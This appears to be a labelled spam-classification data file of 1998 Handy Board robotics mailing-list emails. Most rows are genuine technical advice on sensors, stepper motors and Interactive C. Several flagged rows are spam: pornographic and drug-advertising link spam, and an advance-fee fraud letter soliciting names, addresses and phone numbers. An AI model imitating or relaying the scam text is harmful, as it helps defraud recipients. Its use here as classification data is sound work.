using three signal wires: 1. A signal from the HB to the sonar-circuit, which should activate it - I want to set a flip-flop with it, and make sure it doesn't really matter how long the 'enable' signal is. 2. A digital signal from the circuit to the HB to send a signal when the measurement has been completed. 3. An analogue signal from the circuit to the HB, which will represent the distance measured by the sonar. Apart from these, there of course are 0V, 5V and perhaps 10V (directly from the battery, for the OpAmps). I'm also not sure yet wheter I'll be using the HB clock, or if I'm going to create a clock on the sonar board. The latter can quite easily be done using a 4060 chip - a 14 bit counter with internal oscillator, which I can use to count the number of pulses send at the same time. I've found the page on sonar at www.wizard.org, which gives an exellent explanation and circuit, and I'll be using the analogue circuits (the amplifier circuit, and the little circuit connected to the transmitting ultrasonic transducer) found there. I don't want to use the complete timing circuitry, since it would take at least four of the HB's digital inputs. I know I could use a D/A converter, which would probably be the easiest solution. But I would like to use as little IC's as possible, and it would be quite strange to convert a analogue signal (the time sounds needs to travel is analogue) to digital, than to an analogue signal (in the D/A converter), and back to digital in the HB. I want to create the analogue signal by (dis)charging a capacitor when the sonar starts beeping, and I want to read the voltage over the capacitor when a return signal is detected. The problem is, I don't know whether I can read a capacitor before it has (dis)charged completely, since the 6811 has to wait for a 'signal valid' signal on a digital input, and then it has to read an analogue input (which might take too long, especially if more programs are running). Also the input capacitance (and 48K resistance!) of the HB inputs could perhaps influence my readings. Does anybody have any idea whether using a analogue input is a good idea, and which size the capacitor should have at least for use with such an input. A circuit which can store a analogue value would be ideal, but I don't think something like that exists. (Original) idea's are also appreciated! Thanks in advance, Jeroen van der Vegt. ",0,0 crenshaw@mbay.net,handyboard@media.mit.edu,"Tue, 25 Aug 1998 13:20:32 -0700",HB 4 sale,"I have an assembled Handyboard and MIT's 6.270 board for sale. Both boards work great. 125 ea or 200 for both. Reply to this email ",0,0 Rick Moll ,Victor Ruiz ,"Tue, 25 Aug 1998 16:23:45 -0500",Re: Infrared Detector,"Victor Ruiz wrote: > Hi Rick; > I apreciated your response too much. Do you have the part number for > the infrared detector? The most common metal can IR detectors are made by Sharp. The older ones I have are marked GP1U5X2 (with pins coming out the back of the can), but the newer ones I have are part number GP1U58Y (and have pins coming out of the bottom of the can). I also see that DigiKey sells a metal can IR detector made by LiteOn, and lists them with a part number LT1060. I think the only real concern is to make sure the IR detector is for a frequency of 40KHz, and is rated for 5V operation. If someone else out there can shed more light on substitute part numbers, please speak up. Later, Rick ",0,0 John Duff ,Rick Moll ,"Tue, 25 Aug 1998 16:40:53 -0500",Re: interfacing V2X compass,"Rick, I had the same problem. Also the compass would occassionally lock up and require a reset. I tied the reset pin to a digital out and added a routine to take all the necessary pins high and then cycle the reset pin. I reset on initialization and could call the routine later it the compass locks. I have an assembler program that incorporates this. I use the V2X in slave mode. I'd be happy to send it to you if it would help John Rick Moll wrote: > HB Folks, > > I'm currently using the HB to interface to a Vector 2X compass. I'm > using the compass in RAW slave mode, so it's different than the hardware > interface that's documented on the HB web site. But I did notice that > the documented interface just left the ~RESET pin float high, so I > assumed that the compass could be trusted to power up reliably as long > as the interfaced pins are connected to i/o lines that boot up in a > high-impedance (as should all of the SPI lines on the 6811). The V2X > documentation says that should work, and the interface documented on the > HB web site implied that it at least worked for someone. > > The problem I'm having is that most of the time this works fine; but > occasionally the V2X gets into some state where it will not power up and > work properly until I momentarily lower the ~RESET line (with a wire > jumper). > > Have other folks got the V2X to work reliably for them with the ~RESET > pin left unconnected??? > > Thanks, > > Rick ",0,0 Rick Moll ,handyboard ,"Tue, 25 Aug 1998 17:10:03 -0500",Re: interfacing V2X compass,"John Duff wrote: > Rick, > I had the same problem. Also the compass would occassionally lock up and > require a reset. I tied the reset pin to a digital out and added a routine > to take all the necessary pins high and then cycle the reset pin. I reset on > initialization and could call the routine later it the compass locks. I > have an assembler program that incorporates this. I use the V2X in slave > mode. I'd be happy to send it to you if it would help I ended up doing the same thing. I appreciate hearing that someone else had thesame problem, and used the same solution. It sure is frustrating that you can't trust the documentation that came with the compass; if you need to reset the thing *AFTER* powerup than they should of put it in the documentation &@&$%#)(&^%! Thanks, I really do appreciate hearing a confirmation of the problem. Later, Rick > Rick Moll wrote: > > > HB Folks, > > > > I'm currently using the HB to interface to a Vector 2X compass. I'm > > using the compass in RAW slave mode, so it's different than the hardware > > interface that's documented on the HB web site. But I did notice that > > the documented interface just left the ~RESET pin float high, so I > > assumed that the compass could be trusted to power up reliably as long > > as the interfaced pins are connected to i/o lines that boot up in a > > high-impedance (as should all of the SPI lines on the 6811). The V2X > > documentation says that should work, and the interface documented on the > > HB web site implied that it at least worked for someone. > > > > The problem I'm having is that most of the time this works fine; but > > occasionally the V2X gets into some state where it will not power up and > > work properly until I momentarily lower the ~RESET line (with a wire > > jumper). > > > > Have other folks got the V2X to work reliably for them with the ~RESET > > pin left unconnected??? > > > > Thanks, > > > > Rick ",0,0 Darkman ,"Rick Moll , Victor Ruiz ","Tue, 25 Aug 1998 19:02:16 -0400",Re: Infrared Detector,"Mekatronics also sell the GPU58 series detectors -----Original Message----- From: Rick Moll To: Victor Ruiz Cc: handyboard@media.mit.edu ; Rick Moll Date: Tuesday, August 25, 1998 5:57 PM Subject: Re: Infrared Detector >Victor Ruiz wrote: > >> Hi Rick; >> I apreciated your response too much. Do you have the part number for >> the infrared detector? > >The most common metal can IR detectors are made by Sharp. The older ones I have >are marked GP1U5X2 (with pins coming out the back of the can), but the newer ones I >have are part number GP1U58Y (and have pins coming out of the bottom of the can). >I also see that DigiKey sells a metal can IR detector made by LiteOn, and lists >them with a part number LT1060. > >I think the only real concern is to make sure the IR detector is for a frequency of >40KHz, and is rated for 5V operation. > >If someone else out there can shed more light on substitute part numbers, please >speak up. > >Later, > > Rick >",0,0 edmund ,handyboard@media.mit.edu,"Wed, 26 Aug 1998 11:35:10 -0700",HB's analog inputs," does anyone know if the handy board's analog inputs can accept analog current output(4-20mA) from a photo-electric distance sensor? (e.g. the sensor might return 4mA if the object is 1 ft away and 15mA if it's 3 ft away) or can it only accept analog voltage output(0-5V). if the function 'int analog()' is used and the analog input is 2.5V, would the handy-board return a value of 127? i believe the range of values is from 0-255 for 0-5V. what if the analog input is current? the distance sensor i'm going to buy comes with either a current or a voltage output and i don't know which will suit the HB best. can anyone help? thanks in advance. edmund ",0,0 Joe Martin ,handyboard@media.mit.edu,"Wed, 26 Aug 1998 19:54:38 +1000",Digital Outputs,"I have discovered that I can use PA6 as a digital output and am wondering if the same applies to PA3 if I do not require a piezo buzzer? Thank You Joe Martin joema@mpx.com.au ",0,0 Bill James ,handyboard@media.mit.edu,"Wed, 26 Aug 1998 07:43:38 -0700",problems with main(),"I posted earlier in the week about having a problem with the SRAM. I have determined that there is not a problem with the SRAM on the handyboard. The problem is that ""main()"" is not executing on reset like it is supposed to. The program that I am using was working just fine. Reset the Handyboard and the main() function would execute. I can excute from IC by just typing in main(); and it runs fine. The program does stay during a power down. I checked that by hooking it up to the PC and did a list functions and main() was there. Any ideas Bill James | work: 972.480.2306 Product Test Specialist | Pager: 972.598.6201 w-james2@ti.com Precision Analog & Interface Department Polymath in Training | Have Spacesuit will Travel ",0,0 Dan White ,"Handy board list , edmund ","Wed, 26 Aug 1998 08:48:53 -0500",Re: HB's analog inputs,"edmund wrote: > > does anyone know if the handy board's analog inputs can accept analog > current output(4-20mA) from a photo-electric distance sensor? (e.g. the > sensor might return 4mA if the object is 1 ft away and 15mA if it's 3 ft > away) or can it only accept analog voltage output(0-5V). > > if the function 'int analog()' is used and the analog input is 2.5V, would > the handy-board return a value of 127? i believe the range of values is > from 0-255 for 0-5V. what if the analog input is current? > > the distance sensor i'm going to buy comes with either a current or a > voltage output and i don't know which will suit the HB best. can anyone > help? thanks in advance. > > edmund Edmund, Typically the solution is to pass the 4-20 mA through a 250 ohm resistor and measure the voltage across that resistor. As long as your A/D input impedance is high, it can be ignored. A resistor is essentially a current to voltage converter after all. You can use a 1% tolerance for better accuracy. Keep in mind that you will never read zero because your current never goes to zero. At 4 mA you will read one volt and at 20 mA you will read 5 volt so now you have a 1-5 V transducer. 4-20mA ---------.----------- A/D +input / \\ 250 / ohm \\ 4-20mA return---.----------- A/D -input (ground) Good Luck, Dan -- /*********************************************************** * Dan White - National Instruments Certified Instructor * * CyberMetrix,Inc. - National Instruments Alliance Member * * * * dwhite@cybermetrix.com * ***********************************************************/",0,1 FThompson9@aol.com,handyboard@media.mit.edu,"Wed, 26 Aug 1998 14:58:49 -0400",Re: Analogue sonar design.,"Jeroen van der Vegt, Let me suggest some articles. First ""Sonars on the Cheap"" by Keith Payea page 20 of the Fall 1995 issue of The Robotics Practitioner. This looks lie about a $30 design. Second ""An Experimenter's Cheap Robotic Sonar System"" by Carl Motsinger page 89 of the April 1997 issue of Nuts & Volts. Both of these systems requier two I/O lines: an output that says ""Ping"" and an input that says ""echo."" The 6811 timer system is used to track the distance. If you really want to get fussy you can have other sensors that report temperature and pressure to adjust the speed of sound used, but I think most people just assume a value and use other sensors to adjust/refine important distance measurements. Hope this helps Pherd ",0,0 Marcelo Manjon ,handyboard@media.mit.edu,"Wed, 26 Aug 1998 18:46:35 -0300",[Interactive C features],"Hello All, my name is Marcelo Manjon and i am 5th year graduate student of Mechatronics Engineering at Politechnic School of Sao Paulo University. Turns out that this year i'll be developing a Micromouse Robot using the MIT Handy Board. I have already developed my own Maze Solving Algorithm in C++ Builder. However, i am trying to port it to Interactive C and i am having lots of troubles. One of them is that in C++ Builder i've used multidimensional arrays in order to represent all the cells of the maze(8 x 8), as shown above: int cellMazeSouth[WIDTH][HEIGHT] int cellMazeNorth[WIDTH][HEIGHT] int cellMazeWest[WIDTH][HEIGHT] int cellMazeEast[WIDTH][HEIGHT] However, it seems that Interactive C does not support multidimensional arrays. So, does anyone have any idea about how i am supposed to port it to Interactive C ? Thank you in advance. Best Regards, Marcelo Manjon manjon@labone.net ",0,0 Justin Kao ,Handyboard List ,"Wed, 26 Aug 1998 16:56:08 -0700",Re: [Interactive C features],">However, it seems that Interactive C does not support multidimensional >arrays. So, does anyone have any idea about how i am supposed to port >it to Interactive C ? You could use a one dimensional array of length width*height such that: cellMazeWhatever[x][y] is turned into cellMazeWhatever[(x-1)*width+y] -- Justin Kao",0,0 Randy Sargent ,Justin Kao ,"Wed, 26 Aug 1998 18:57:38 -0700",Re: [Interactive C features],"You can also upgrade to IC 3.1/3.2. Among the improvements include support for multidimensional arrays. -- Randy ------------------------ Justin Kao wrote: > > >However, it seems that Interactive C does not support multidimensional > >arrays. So, does anyone have any idea about how i am supposed to port > >it to Interactive C ? > > You could use a one dimensional array of length width*height such that: > > cellMazeWhatever[x][y] is turned into cellMazeWhatever[(x-1)*width+y] > > -- > Justin Kao -- ---------------------------------------------------------------- Randy Sargent Newton Research Labs President Robotic Systems and Software rsargent@newtonlabs.com http://www.newtonlabs.com/",0,1 phillip chia ,"""\\""Mr Peter\\"" ""","Wed, 26 Aug 1998 20:29:09 +0800",Steppr motor pulse problem ,"Hi, I've encounter some problem on using the stepper motor with my self-built driver. I am not using the driver in the HB. I have to build out a driver. The driver chip I use is L298 and logic gate chip is L297 or 374( this chip also use in HB) . When I connect the motor to it, there is vibration inside the motor. However, the shaft of the motor is not turning at all. I suspect that the step sequence is not correct. As a result. I found out that all the step sequence are the same for every clock pulse . According to the theory, there should be a 4 step sequece with each sequence is being delay. How should rectify this problem in order to cause the shaft of the motor to rotate ? Is it my input is incorrect ? rgds, phillip ",0,0 Coakley Maribel ,handyboard@media.mit.edu,"Thu, 27 Aug 1998 05:03:40 -0500",This needs to be tried,", bestowal on cafe see clara see creekside , marijuana ",1,0 Bernd Klein ,"phillip chia , ""handyboard@media.mit.edu"" ","Thu, 27 Aug 1998 16:42:28 +0200",Re: Steppr motor pulse problem,"Hi Philip, are you shure, you have the right pins from the stepper to the outgoing pins from your chip. Have your stepper 4,5 or 6 cables? If you exchange the cables, your stepper motor only do some vibrations or doing nothing. The easiest way to test the sequence is the following (Stepper Motor with 5 or 6 Cables) Most steppers with 6 Cables are using 2 for their voltage. For example Outgoing Pins form Chip Step 1) 1 ---------- Stepper in 1 2 ---------- Stepper in 2 3 ---------- Stepper in 3 4 ---------- Stepper in 4 it doesn´t work then go to STEP 2 Step 2) change Stepper in 1 with Stepper in 4 it doesn´t work go to STEP 3 Step 3) change Stepper in 2 with Stepper in 3 it doesn´t work go to STEP 4 Step 4) change Stepper in 3 with Stepper in 4 it doesn´t work you have a big problem :-) I have test some steppermotors with an special mini-electronic (NE555 and Stepper Chip SAA????) With this equipment i test my Motorpins. It´s very easy and i have the correct cable sequence. cu and good luck Bernd Klein phillip chia schrieb: > Hi, > I've encounter some problem on using the stepper motor with my self-built > driver. I am not using the driver in the HB. I have to build out a driver.. > The driver chip I use is L298 and logic gate chip is L297 or 374( this chip > also use in HB) . When I connect the motor to it, there is vibration inside > the motor. However, the shaft of the motor is not turning at all. I suspect > that the step sequence is not correct. As a result. I found out that all > the step sequence are the same for every clock pulse . According to the > theory, there should be a 4 step sequece with each sequence is being delay.. > > How should rectify this problem in order to cause the shaft of the motor to > rotate ? > Is it my input is incorrect ? > > rgds, > phillip ",0,0 FThompson9@aol.com,handyboard@media.mit.edu,"Thu, 27 Aug 1998 12:09:01 -0400",Re: Steppr motor pulse problem,"Phillip First step is to put a piece of tape on the shaft so that you can clearly see the shaft turn. Next determine what kind of motor you have (you have probably already done this). Get an ohm meter and determine which wires are connected to which. There are two general styles of steppers. The first has a common wire which is connected to +Supply and four more wires that are grounded in sequence. If your motor has five wires it is a good bet that it is this one and the actual resistance values will tell you the common. Sometimes the common wire is split between two coil phases giving you a six wire motor. The two commons are +Supply and the remaining four are grounded in sequence, but the sequence will alternate between the two separate commons. I have forgotten the name of the motors but the advantage of them is cheap and easy drive electronics. The other style of motor is more common and is called BiPolar as the coils are to be energised in both polarities and the drive electronics must drive each ""signal"" wire equally well to both ground and supply. These motors generally have four wires (and more times than not I have found them to be Red, Blue, Yellow and White). Once again check which wires are connected together. You might find for example Red connected to blue and Yellow connected to white. Next move the motor by applying voltages by hand with alligator clips. Use the smallest voltage needed to make the motor move (no point heating the thing with rated voltage. Next apply the power to the wires in alternating sequence and make written notes as to which way the shaft moves. Eventually you will arrive at a sequence that continues to move the shaft in a consistant direction. Write this pattern down neatly on a sheet of paper that you can find again. You will be looking at this paper for the rest of your life (as I am doing now). Next measure the sequence produced by your computer and make it match the colors you wrote on that sheet of paper. Then move on to determining the ramping rates and maximum speeds that you can use with your stepper under load (lovingly applied by a pair of fingers). By way of a starting point the sequence that I found to work for that color set I mention earlier for BiPolars is as follows: Red Blue Yellow White + - + - - + - + By the way the Handy Board has four BiPolar outputs from the motor driver strip. You should be able to just Poke this pattern out and drive two steppers if the L293s (or a stacked pair of them) will give you enough current. Hope this helps, Pherd ",0,0 Chuck McManis ,FThompson9@aol.com,"Thu, 27 Aug 1998 11:12:31 -0700",Re: Steppr motor pulse problem,"Phillip and others, To this excellent exposition I would change only one thing: FThompson9@aol.com wrote: > Write this pattern down neatly on a sheet of paper that you can > find again. Change this to : ""Write this pattern down neatly IN YOUR ROBOTICS NOTEBOOK."" One of my professors at school noted that the most important thing he learned in graduate school was that ""Real scientists keep notes, FOREVER."" And this is a very valuable thing. Get a bound lab notebook (I prefer ones with graph paper, they are not too expensive) and, starting on about page 5, whenever you sit down to do robotics open it up to the next blank page. Date the page (and if your patent conscious sign it). Then as you note things, write them in your notebook. If you write down something you think you will need to refer back to later, go back to the front of the notebook (remember you're starting on page 5) and write the date and a brief synopsis, like ""8/28/98 - Stepper motor sequence."" When you're done for the day/evening/weekend/etc, take 5 minutes to write down what you did, what you learned, what you were curious about or couldn't figure out, and what would be a good next step. Make this mode of operation a _habit_. Now after you've done this for a while (at least a weeks worth of entries) you can start using your lab notebook as a resource in three ways: 1) Need some information - look in the table of contents 2) Wondering where you left off last night? Look at the last entry you made. 3) Have time to do something but don't know what to do? Go back and read a few of the things you were curious about during previous sessions. Of course you won't know how useful this is until you try it, and at $5 for a nice lab notebook, its a cheap experiment. --Chuck P.S. Don't both using a 3-ring binder. You'll just lose pages. If you want to add something to your notebook like a datasheet or something just staple it to the page and note it. ",0,0 Eric Naus ,"Jeroen van der Vegt , HandyBoard mailing list ","Thu, 27 Aug 1998 14:26:01 -0400",Re: Analogue sonar design.,"Hi, There is another way to get the Polaroid sonar unit. And that is to find an old Polaroid camera. That's the hardest part but allot of people bought them and are not using them any more. When you open it up there will be the Sonar board complete with transducer. Then check out my homepage for the full documentation on that board. http://webhome.idirect.com/~bine Good luck Eric ",0,1 Richard Drushel ,handyboard@media.mit.edu,"Fri, 28 Aug 1998 01:28:17 -0400",Re: [Interactive C features],"[Randy Sargent] spake unto the ether: > You can also upgrade to IC 3.1/3.2. Among the improvements include > support for multidimensional arrays. Sigh. I can't forsee our Autonomous Robotics course buying 15 copies of IC 3.x or greater until it supports case/switch. It's the only feature that our students using freeware 2.81 really complain that they miss. #defines are nice, but global variables in ALL_CAPITALS work just as well from a code maintenance standpoint; the other advanced features (multi-dimensional arrays, advanced pointer stuff) just isn't useful to our students. Could you please make adding case/switch a priority for IC 3.x or greater? *Rich* -- Richard F. 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Ilya ",0,0 FThompson9@aol.com,philchia@singnet.com.sg,"Fri, 04 Sep 1998 09:29:24 -0400",Re: Steppr motor pulse problem,"Phillip: In the process I was referring to, you do not use the Handy board, driver or anything to determine the step sequence. You only use the motor and a battery (after you finish with the Ohm meter). The idea is to learn what the motor is expecting only. Once you have this down on paper, you can also make measurements as to what your driver (if any) is doing. If you are using a driver (chip or board) you should clock this with the handy board. If you use switches of wires, you will get a random number of pulses on either rising or falling edges. (For the motor by itself this is not a problem, but a driver chip/board will count each pulse as a step, not just the switch closure. (This is called bounce.)) If your motor does not draw too much current, you should not need any external components. If the motor is bi-polar, each coil plugs into a motor output; so two motor outputs would be consumed by one stepper motor. In this case you would need to program the sequence into the handy board. If your two coils were plugged into motor outputs 1 and 2 your sequence would look like Motor 1 Motor 2 motor 1 forward + wait a pulse width motor 1 off motor 2 forward + wait a pulse width motor 2 off motor 1 reverse - wait a pulse width motor 1 off motor 2 reverse - wait a pulse width repeat the sequency If your motor is really low current and you need extra resolution you could: Motor 1 Motor 2 motor 1 forward + wait a pulse width motor 2 forward + + wait a pulse width motor 1 off + wait a pulse width motor 1 reverse - + wait a pulse width motor 2 off - wait a pulse width motor 2 reverse - - wait a pulse width motor 1 off - wait a pulse width motor 1 forward + - wait a pulse width motor 2 off + This is the first state in this list, repeat the sequence Here there is an overlap between the coils of the sequence given last time. This is called half stepping and draws just a little less than twice the current as the first sequence. But I'm getting a little off topic here. The point is to first find out what step sequence the motor needs, then wire it to the Handy board/driver system to insure the sequence it gets. If you are using a stepper motor driver chip like the Motorola MC3479, then you only need to provide signals like: Clock, Direction, and maybe Motor On. These are TTL level signals and do not use the Motor driver ports. But this chip can only deliver 350mA of current per coil so you might as well use the motor ports on the handy board (unless you need the 16 volts/coil). If your are using a drive like this, you do not need to ""Program"" the step sequence into the handy board, you need to ""wire"" the sequence to the motor. But your handy board program will still need to time the pulses correctly to drive the motor. In a message dated 98-09-04 04:47:34 EDT, you write: << Hi , Thank for the infor. Does the sequence of the stepper motor which connected to the driver need to be programmed into the microcontroller 6811 ? In another word, does the squence of steps need be created out by programming or just by defalt that the driver and the motor have the sequence step itself already ? Is it the driver has to be connected to the microcontroller first to see the step sequence ? >>",0,0 Marcelo Manjon ,handyboard@media.mit.edu,"Fri, 04 Sep 1998 11:36:03 -0300",[LCD screen],"Hello all, I know it's a pretty stupid question, but anyone knows how am i supposed to clear(in Interactive C) the LCD screen of the HandyBoard ? I've tried printf(""\\n""); printf("" ""); but it doesn't work. Thank you very much. Marcelo Manjon ",0,0 edmund ,handyboard@media.mit.edu,"Fri, 04 Sep 1998 23:32:53 -0700",Bootstrap download mode," Hi I have been trying to get the HB into bootstrap mode without much success. Following the instructions in the manual, I held down the STOP button while turning on the HB. The red and green LEDs were supposed to turn on for a short period of time and then turn off completely. However, no matter how much I try, the green LED remained on (from the moment I connected the battery packs to the HB) and the red LED wasn't even on for this whole period. I'm really at my wits end now. Can someone help me out? Btw, I'm using using ICwin 3.1 . I have the MS-Dos version of 2.8 (i think) too. thanks, Edmund PS. what is the red PWR LED on the serial interface board for? ",0,0 """Fred G. Martin"" ",edmund ,"Fri, 04 Sep 1998 13:14:33 -0400",Re: Bootstrap download mode ,"see if you can get it to go into download mode when you don't have the phone cable plugged in. if this works, then you have some kind of probl with your serial connection. make sure you have a normal modem cable, and a telephone style RJ11 cable (see the FAQ). fred In your message you said: > > Hi > I have been trying to get the HB into bootstrap mode without much > success. Following the instructions in the manual, I held down the > STOP button while turning on the HB. The red and green LEDs were > supposed to turn on for a short period of time and then turn off > completely. However, no matter how much I try, the green LED remained > on (from the moment I connected the battery packs to the HB) and the > red LED wasn't even on for this whole period. I'm really at my wits > end now. Can someone help me out? > > Btw, I'm using using ICwin 3.1 . I have the MS-Dos version of 2.8 (i > think) too. > > thanks, > Edmund > > PS. what is the red PWR LED on the serial interface board for? > > ",0,0 Awtar Singh ,handyboard@media.mit.edu,"Sat, 05 Sep 1998 00:00:39 +0400",!! Possible Business Association !!,"Hi, We are an India Based Limited Organization, having representations in Florida, USA and doing business with U.S and European clients since last over 5 years successfully. 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Marcelo Manjon wrote: > Hello all, > > I know it's a pretty stupid question, but anyone knows how am i supposed > to clear(in Interactive C) the LCD screen of the HandyBoard ? > I've tried > > printf(""\\n""); > printf("" ""); > > but it doesn't work. > > Thank you very much. > > Marcelo Manjon ",0,0 Marilyn ,handyboard@media.mit.edu,"Sun, 06 Sep 1998 01:25:13 -0400",captivating Womans doing resplendent blowjjob!," Youngest excellent Woman fuckked anally! http://biggameindex.info/fpax.htm?iSPhfd.fX,hj U-N-S-U--B-$-C-R-l-B-E http://biggameindex.info ",1,1 Ethel Rockey ,handyboard@media.mit.edu,"Sat, 05 Sep 1998 06:30:15 -0700",Re: VtAGrRA new,"Hi V q I v A g G p R i A y X q A y N m A p X x C p I u A c L q I d S t V e A j L t I w U m M c http://www.terainital.com orientatio tutorshi decremen sewe surpris Its pretty late. Mario looked at his watch under the wash of a street lamp. I set the time for Paris; its almost midnight here. Theyll wait. You still havent told me their names, Lou. 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The serial output driver along with a modified form (works with 9600 driver) of Richard Drushel's math.c routines has allowed me to pass strings, integers, and floats to the calculator. Questions: 1. Is there a version of the 9600 baud driver that supports input? 2. Any suggestions that might help me use the serialio.c code and the SPI? 3. What is the difference between the inverting and non inverting driver code? Thanks in advance! Fred Fotsch ",0,0 """Fred G. Martin"" ",Fred Fotsch ,"Mon, 07 Sep 1998 10:43:30 -0400",Re: Serial Communication with HP48 calculator ,"> 1. Is there a version of the 9600 baud driver that supports input? not that i am aware of. you could connect to the HB's phone jack as long as you don't have to talk to interactive c and your calc at the same time. see the FAQ serial answer. > > 2. Any suggestions that might help me use the serialio.c code and the > SPI? the SPI is for high speed SYNCHRONOUS comms (data and clock line). RS232 is ASYNCHRONOUS (data only). SPI doesn't do RS-232. > 3. What is the difference between the inverting and non inverting > driver code? the normal voltages of RS232 are -10v is logic 1, +10v is logic 0 (non inverted, desktop levels). the MAX232 chip on the HB's serial interface card converts these into +5v logic 1, 0v logic 0 ""TTL or microprocessor level"" voltages (inverted). your calc apparently talks at the inverting, TTL level voltages -- it would need a ckt like that on the HB's serial interface to talk to a desktop computer. thus, you can wire direct from the HB's phone jacks to your calc using the SW drivers presented in the FAQ. > > Thanks in advance! > > Fred Fotsch > > ",0,0 Laura Raymond ,handyboard@media.mit.edu,"Mon, 07 Sep 1998 23:08:57 -0700",Russiian excellent Cuties harrdcore picss and moovies.," fascinating russsian Cuties! http://playgamedirect.info/fplfporn.htm?iSPhfd.fX,hj UNN$UB$CRlBE http://playgamedirect.info ",1,1 Ron Ginger ,handyboard@media.mit.edu,"Mon, 07 Sep 1998 21:43:56 -0400",using interupts from IC,"I want to drive 3 stepper motors form a handy board. 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On closer inspection of the electronic catalogs, I notice there are a number of configurations avaliable for resistor packs, ie RP4. The two main rpacks seem to be all resistors commoned on one leg and brought out on a pin, or separate resistors moulded inside a rpack. I have installed the commoned pin type. Looking at the circuit diagram it appears the separate resistors is the configuration I require. Is this correct? thanks in advance steve t adelaide south australia ",0,0 """Sam and Sorie."" ",handyboard@media.mit.edu,"Wed, 09 Sep 1998 13:30:36 +0200",We seek your assistance.,"Dear Sir, I am Miss Sorie DUNCAN and my Brother Sam DUNCAN, we are the children of late Chief Benjamin DUNCAN from Sierra Leone. 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As a result of my father death, and with the news of my uncle's involvement in the air crash in January it dashed our hope of survival. The untimely deaths caused my mother's heart failure and other related complications of which she later died in the hospital after we must have spent a lot of money on her early this year. Now my 22 years old Brother and myself are alone in this strange country suffering without any care or help. Without any relation, we are now a refugees. Our only hope now is in you and the box deposited in the Security Firm to this effect, I humbly solicit your assistance in the followings ways. 1) To assist us claim this box from the security firm as our beneficiary. 2)To transfer this money (USD$4M) in your name to your country. 3)To make a good arrangement for a joint business investment on our behalf in your country and you we be our Adviser/ Manager. Please, as you show your willingness, Forward to us your full name, address and Tel/ Fax numbers, to me via our private email address as indicated bellow, this is for security reasons as i will only be accessing my private email earnestly awaiting your response. alternative email address: soriesam@handbag.com Thanks. May God bless you . Mr.Sorie DUNCAN. ",1,0 """Fred G. Martin"" ",Steve Treagust ,"Wed, 09 Sep 1998 12:05:35 -0400",Re: bootstrap mode in assembling the HB ,"yes, RP4 is four isolated resistors, and this being part of the serial line circuit, definitely explains your problem if you are using the common-terminal style. you can just install four 1K resistors if you don't have the correct r-pack handy. fred In your message you said: > hi > At present I am up to section 4.4, ""serial line and stop switch"". > > I have installed all the components as per the section but when testing by a pplying power > and holding down the stop switch, the HB will not go into bootstrap mode. I h ave not > connected the interface board yet. > > Every thing else has tested ok up to this section, including getting 2MHz clo ck measured > via an O/scope. > > On closer inspection of the electronic catalogs, I notice there are a number of > configurations avaliable for resistor packs, ie RP4. > > The two main rpacks seem to be all resistors commoned on one leg and brought out on a pin, > or separate resistors moulded inside a rpack. > > I have installed the commoned pin type. > > Looking at the circuit diagram it appears the separate resistors is the confi guration I > require. Is this correct? > > thanks in advance > steve t > adelaide > south australia > ",0,0 phillip chia ,handybd ,"Wed, 09 Sep 1998 02:35:44 +0800",IC dip 120 or Ic dip 210,"Hi, Is there anybody came across such IC Dip 210 or Dip 120 ? rgds, chia ",0,0 phillip chia ,handybd ,"Wed, 09 Sep 1998 02:45:33 +0800",Current Rating use on HB,"Hi, What is the current rating allow to be use on the HD if currently I am using a stepper motor of rating 4.5V and current 3Amp ? Is it all right directly plug it into the HB? How should I increase the acceptable current rating on the HB? How Should connect the L293B to have high rating? Is it safe ? How to be safe so that it would not damage my HB ? To what I know, there is no build in diode in the L293B ? Please advice rgds, chia ",0,0 phillip chia ,handybd ,"Wed, 09 Sep 1998 02:48:02 +0800",Re: IC dip 120 or Ic dip 210," > > Hi, > Is there anybody came across such IC Dip 210 or Dip 120 ? > > rgds, > chia ",0,0 phillip chia ,handybd ,"Wed, 09 Sep 1998 03:30:48 +0800",encoder use in stepper motor,"hi, How can i use my self build encoder to locate the position when my robot reach a position ? Is it suitable to use a self build encoder together with the stepper motor? The self build encoder consists a photoelectric reflector sensor mounted beside the rotating wheel. The side of the wheel is pasted with a segment of 48 black and white colors . Hence , the sensor will only sense the white segments and return the high pulse . How should convert it to distance of the position I have travelled ? rgds. phillip ",0,0 phillip chia ,handybd ,"Wed, 09 Sep 1998 03:32:25 +0800",Fw: Current Rating use on HB," > > Hi, > What is the current rating allow to be use on the HD if currently I am > using a stepper motor of rating 4.5V and current 3Amp ? Is it all right > directly plug it into the HB? > > How should I increase the acceptable current rating on the HB? How Should > connect the L293B to have high rating? Is it safe ? How to be safe so that > it would not damage my HB ? To what I know, there is no build in diode in > the L293B ? Please advice > > rgds, > chia ",0,0 Graciano Ullery ,handyboard@media.mit.edu,"Thu, 10 Sep 1998 06:43:35 -0700",Re: your CtAaLlS,"Hi Look, this information might be pretty interesting for you V L C P X V A I e I r a A m A v A o n L b G i L z a I i R t I a x U e A ra S c M n http://www.cessofanne.com Well to tell you the truth, I did not like to bother you with a lot of us, until I found out if you were busy. I will give a call, if I may. Go on, call away! So Gandalf gave a long shrill whistle, and presently Thorin and Dori came round the house by the garden path and stood bowing low before them. One or three you meant, I see! said Beorn. But these arent ",1,1 Bill James ,handyboard@media.mit.edu,"Thu, 10 Sep 1998 13:16:46 -0700",Questions for Fred,"Fred, or who every can answer this. I have implemented the smooth PWM routines and are very happy with them. I notice now that there is a fix for the analog sensor reading bug. One file that is replaced is the lib_hb.c file, which was also the file that implememted the smooth PWM routines. If I replace that file, will I lose the smooth PWM routine or does it have the new code in it. Or can I just copy over a portion of it? Also how are we doing on the expansion board. I am looking forward to using it. Thanks Bill James | work: 972.480.2306 Product Test Specialist | Pager: 972.598.6201 w-james2@ti.com Precision Analog & Interface Department Polymath in Training | Have Spacesuit will Travel ",0,0 Bill James ,handyboard@media.mit.edu,"Thu, 10 Sep 1998 13:25:43 -0700",Questions for Fred,"I guess I should have learned by now, to investigate more before jumping out and asking. I examined the two versions of the lib_hb.c the difference in the analog is the absence of the following code in the smooth pwm code: int _raw_analog(int port) { poke(0x1039, 0b10000000); poke(0x1030, port); return peek(0x1031); } So just remove this and everything will be okay? Bill James | work: 972.480.2306 Product Test Specialist | Pager: 972.598.6201 w-james2@ti.com Precision Analog & Interface Department Polymath in Training | Have Spacesuit will Travel ",0,0 STEVEN THEEDE ,STEVEN THEEDE ,"Thu, 10 Sep 1998 10:54:51 -0400",BUSINESS PARTNERSHIP/REPRESENTATIVE NEEDED,"FROM THE DESK MR. STEVE THEEDE MANAGER : YUKOS OIL COMPANY IMPORT & EXPORT CRUDE OIL CORPORATION (YCO) 